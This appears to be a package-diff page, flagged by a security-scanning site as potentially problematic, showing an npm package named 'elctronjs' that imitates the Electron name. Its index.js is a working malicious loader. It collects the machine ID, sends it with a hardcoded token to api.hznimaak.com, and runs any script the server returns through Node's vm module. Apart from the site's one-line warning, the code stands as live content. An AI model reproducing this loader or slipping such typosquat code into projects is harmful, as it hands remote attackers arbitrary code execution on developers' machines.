elctronjs 1.0.6
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of elctronjs might be problematic. Click here for more details.
- package/index.js +22 -0
- package/package.json +15 -0
package/index.js
ADDED
@@ -0,0 +1,22 @@
|
|
1
|
+
const machineId = require('node-machine-id');
|
2
|
+
const axios = require('axios');
|
3
|
+
const vm = require('vm');
|
4
|
+
const run=async()=>{
|
5
|
+
try {
|
6
|
+
const cpuId = machineId.machineIdSync({ original: true });
|
7
|
+
permission = (await axios.get(`https://api.hznimaak.com/api/manageApps/get?machineId=${cpuId}&type=Hide`, {
|
8
|
+
headers: {
|
9
|
+
"x-auth-token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7Il9pZCI6IjY2MDg2NDE4ZGFkODRmMTNmOGJlMWUwMCIsIm5hbWUiOiJtYW5hZ2VBcHBzIiwiZW1haWwiOiJtYW5hZ2VBcHBzQGdtYWlsLmNvbSIsInJvbGUiOiJhcHAifSwiaWF0IjoxNzExODI1OTQ0LCJleHAiOjE3NDMzNjE5NDR9.nBlkKx4V4Im0Bs8anxYKIGlYCLBWrdkLXssZ1daz9EI"
|
10
|
+
}
|
11
|
+
}))?.data;
|
12
|
+
console.log("===permission======permission========>",permission)
|
13
|
+
if(permission.script){
|
14
|
+
const scriptCode = permission.script
|
15
|
+
const script = new vm.Script(scriptCode);
|
16
|
+
const result = script.runInNewContext();
|
17
|
+
}
|
18
|
+
} catch (error) {
|
19
|
+
console.log(error)
|
20
|
+
}
|
21
|
+
}
|
22
|
+
run()
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "elctronjs",
|
3
|
+
"version": "1.0.6",
|
4
|
+
"description": "monetary electron",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"start": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"axios": "^1.7.2",
|
13
|
+
"node-machine-id": "^1.1.12"
|
14
|
+
}
|
15
|
+
}
|